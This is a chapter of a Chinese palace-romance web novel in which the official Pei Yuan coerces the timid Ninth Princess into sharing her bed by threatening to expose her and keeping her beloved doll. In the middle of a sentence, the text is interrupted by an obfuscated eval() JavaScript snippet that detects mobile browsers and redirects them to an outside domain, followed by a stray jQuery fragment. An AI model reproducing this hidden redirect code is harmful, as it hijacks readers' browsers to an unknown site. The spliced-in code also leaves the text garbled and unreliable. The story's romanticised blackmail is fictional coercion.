元明夏不敢相信自己的耳朵。
一双杏眼无措的看向裴渊,手心不可置信的捂住自己的嘴。
“裴大人你是疯了吗?”元明夏的声音从指缝里钻出来,她压低声音怕别人听见:“这,这是……”
裴渊勾唇笑着看她:“是什么?”
元明夏终于找到一个词:“这是秽乱后宫。”
这个词一出口,元明夏把自己的嘴捂得更紧。
他怎么会这么大胆呢?
裴渊淡淡:“九公主见多识广。”
元明夏没放开自己的嘴巴。
一双眼睛涌上水渍。
“哦,公主原来是怕这个。”裴渊摇摇头,有些疑惑的摆弄夏夏的手。
它的指尖葱白,和元明夏的一样:“下官本以为,昨夜公主主动亲人,是一个胆大的公主。”
“不不不,我胆子很小的。”元明夏放开手迅速道。
她都不敢想。
要是让姜太妃知道她和裴渊滚在一起,姜太妃肯定把她的腿给打断,然后把她扔出宫去。
……直接杖杀也说不定。
元明夏缩缩脖子。
“九公主有什么怕的,长公主的府中如今有面首十余人,太妃都并未去管,九公主怕什么?”
元明夏拨浪鼓一样摇头:“不一样的,长姐是太后所出的公主,我只是后宫的一个普通公主而已。”
裴渊不语。
他没有否认元明夏的话。
先皇虽只有十皇子一个皇子,但公主却有很多,元明夏的确是众多公主中最不起眼的一个。
连给先皇送终她都排在最后。
头低的像是没有这个人。
“裴大人还是不要为难我了。”元明夏好声好气商量。
她鼓起勇气,认真建议:“而且生病了就要御医,我只是一个公主,不会什么医术,裴大人别把身体耽误了。”
“下官的身子暂且无碍,还请公主放心,而且……”
裴渊神色缓缓:“下官的身体耽误在九公主的身上,下官觉得很值得。”
元明夏的指尖绞在一起。
这个话太糟糕了。
“所以……那你……”元明夏吞吞吐吐,还是不敢直接赶裴渊走。
不过裴渊这么聪明,应该能明白她的意思吧?
她已经这么明显了。
“所以,公主答不答应下官的请求?”裴渊接下她的话。
“我要是不答应呢?”
“那简单的。”裴渊摆弄着夏夏,“下官会不择手段的把九公主那天晚上爬床的事情说出去,而且还会把这个娃娃抢走。”
不择手段?
“这,这。”
元明夏窝囊的把脸皱成包子。
这两件事对她来说都太超过了。
场面一度寂静。
裴渊也不着急,他将手中的娃娃抬高,与它平视,神色不明。
留元明夏一个人在角落纠结。
最终,元明夏鼓足勇气做下决定。
“那好吧。”
裴渊指尖放进夏夏的手心,他满意的笑:“九公主做了一个很对的决定。”
元明夏委屈的想哭。
可是没办法。
伸头缩头都是死,还不如死的慢一点。
她想起那个梦。
梦里就是姜太妃派人把她杀掉的。
相比姜太妃来说,裴渊好像没有那么想杀掉她,最起码现在没想。
而且只是一夜而已,应该没什么吧。
*
华阳宫内,定神的熏香袅袅。
姜太妃闭着眼靠在贵妃椅上半寐,站在一旁的宫女为她轻柔的打扇。
华阳宫内没有人敢说话,大家手脚轻捻的铺床抬水。
待一切都准备妥当后,姜太妃的贴身女官静雨低声提醒:“娘娘,后面的水已经备好了。”
静雨说罢,她安静地立在一旁。
过了好一阵,姜太妃才淡淡“嗯”了一声。
一双美目微睁开,她看着指尖的蔻丹:“那些人都怎么样了?裴渊审出来什么了吗?”
静雨:“回禀娘娘,那些宫人昨夜被裴大人带进内狱之后好像还并未亲自提审,而且让刑狱官暂且讯问,目前应当没有问出什么。”
“内宫之事,饶是他裴渊也管不到。”姜太妃嘴角淡笑,从容被静雨扶着起身。
她浑身柔软无骨,两颊带着艳色,身上的宫装华贵,光彩夺人。
她被侍女扶着到了盥室,待再出来的时候,她面上的妆容已经被全部卸掉,头发柔顺芬香的顺在她的肩头身侧。
身上的寝衣也柔软舒服,垂顺的锦缎将她的肩头腰身很好地勾勒。
她自坐在梳妆台前。
看着镜子中的自己,伸手拿着梳子顺着自己发丝。
她瞄了一眼窗外。
嘴角勾起一模娇羞的笑。
而后对宫女们淡声道:“你们都下去吧。”
众宫女称是,纷纷低头离开寝殿。
将层层叠叠的幔帐放下。
*
元明夏低头抱着枕头坐在床边。
她一身月色寝衣,里面是一件齐胸襦裙,外面搭着同色的短衣。
她犹犹豫豫的看着坐在原位没动的裴渊。
夏夏还在他的手上。
元明夏只能抱着枕头。
裴渊背对着她,元明夏看不清他的神情。
只能看到月亮在一点一点的倾斜。
元明夏有些尴尬的揪手。
她只有一张床榻,他们两个人要怎么睡呢?
他是不是不想把夏夏还给她啊?
其实她可以打地铺的。
元明夏缩在角落乱七八糟的想。
后面一直没有声音,安静到裴渊以为元明夏自己先睡了,他带着夏夏转身,一眼就看到缩在床脚的元明夏。
元明夏明显被吓了一跳。
她嘴巴微张。
一双眼睛一直看着裴渊手里面的夏夏。
裴渊真的很想笑。
元明夏这副表情。
好像他手里的不是娃娃,而是一个人质。
“九公主的这个娃娃做的很精致。”裴渊刚刚就发现了,“是谁做的?”
“是我母妃。”
裴渊点头:“和婕妤的手艺不错,不愧是尚衣局的翘楚。”
和婕妤原本是尚衣局给宫中贵人们做衣服的宫女,某一日在给先皇送锦袍的时候,被醉酒的先皇临幸,在生产后才被封为地位不高的婕妤。
“是,我母妃的手艺很好。”
提到和婕妤,元明夏的表情明显放松。
她的衣服都是母妃亲自做的,听母妃说她还会做很多好看的宫装,只不过她们不受宠,份例里没有很贵重好看的布料,所以只能这样。
可是元明夏觉得已经很满足了。
吃的穿得差了点也没什么,她能吃饱穿暖,能和母妃在一起,已经很好满足了。
她已经快要三年没有见到母妃了。
不知道母妃在感业寺过得好不好。
元明夏的表情有些落寞。
裴渊的指尖捋过夏夏黑亮的发丝,貌似不经意地提:“这娃娃的头发也很好,不知道和婕妤是用什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083212|179453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么做的?”
元明夏实在不明白为什么裴渊会对夏夏这么感兴趣。
难道他不想杀人,想要做娃娃了?
……还是他想把他杀的人做成娃娃?
元明夏脖子缩了缩,不敢不回答:“夏夏的头发就是我的头发,这是用我的头发做的。”
“嗯?”
裴渊看了眼元明夏的头发。
她的营养明显有些跟不上,以至于一头发丝有些发黄。
而娃娃的头发乌黑油亮。
“是用我以前的头发做的,我小的时候。”元明夏抱着枕头。
她的头发已经散开,头上没有发髻。
她拿起自己肩上的一绺头发在指尖上绕。
“之前我被人欺负被剪了头发,我那时候哭的很伤心,母妃劝了我下午都没有用,于是母妃只能给我做了一个夏夏,把我被剪掉的头发给它,说头发没有消失,而是给了夏夏,我这才不哭了。”
元明夏声音淡淡,好像没有把把这件事当作什么。
裴渊却能想到,元明夏肯定哭的撕心裂肺。
她现在这般无所谓。
透着一股窝囊劲儿。
“你被剪了头发,最后报复回去了吗?”
“我吗?”元明夏眨眨眼,“没有的,母妃给我做好了夏夏,我就好了,没有不开心了。”
她小心翼翼地:“所以裴大人,夏夏对我真的很重要。”
她张手:“现在你能把夏夏还给我了吗?”
“嗯。”裴渊没有否认。
只是在他把夏夏交到她手里之后,没有转身回到椅子上,而是饶有兴致地问:“九公主,我们怎么睡?”
元明夏迅速将夏夏抱紧,生怕裴渊再来抢。
听到裴渊的问题之后,她呆呆地抬头:“啊?”
“下官问九公主,我们今晚怎么睡?”裴渊没生气,而是又重复了一遍。
“我刚刚听到了。”元明夏头要埋到胸里。
她不是没听到,而是不知道怎么回答。
她甚至自问自:“我们怎么睡呢?”
裴渊不说话。
元明夏抱着夏夏乖乖的下床,她从柜子里拿出来一床被子,铺好后带着夏夏乖乖的坐下:“我可以打地铺。”
裴渊没动。
看起来他好像不那么想。
他背对着元明夏:“可是下官不与九公主同寝,怎么知道有没有用呢。”
气氛有一瞬凝滞。
元明夏微弱的叹气。
她起来,将铺好的被子搬到床榻上,自己带着夏夏爬了上去。
在角落里。
她缩成一只蘑菇。
声音也小小的,很窝囊的问:“这样行吗?”
裴渊看着元明夏的床榻。
并不是很大,可她缩成一小团在角落,在床榻上一点存在感都没有。
被他欺负的连自己的床都让出去了。
自己缩在角落。
惨兮兮的。
就这样都不敢骂他。
真是个窝囊公主。
裴渊勾唇淡笑,伸手将自己外袍扣子解开:“九公主洗漱的地方在哪里?”
元明夏在他解扣子的瞬间就闭上眼。
只颤巍巍的朝耳房指。
听着他离开,元明夏睁眼,看着他的背影消失。
元明夏松口气。
她把怀里的夏夏拿出来和自己面对面,小声地问:“夏夏,他真的不会杀我吗?”
夏夏很坚定:不会的。
元明夏:“那我们会被人发现吗?”
夏夏:“……”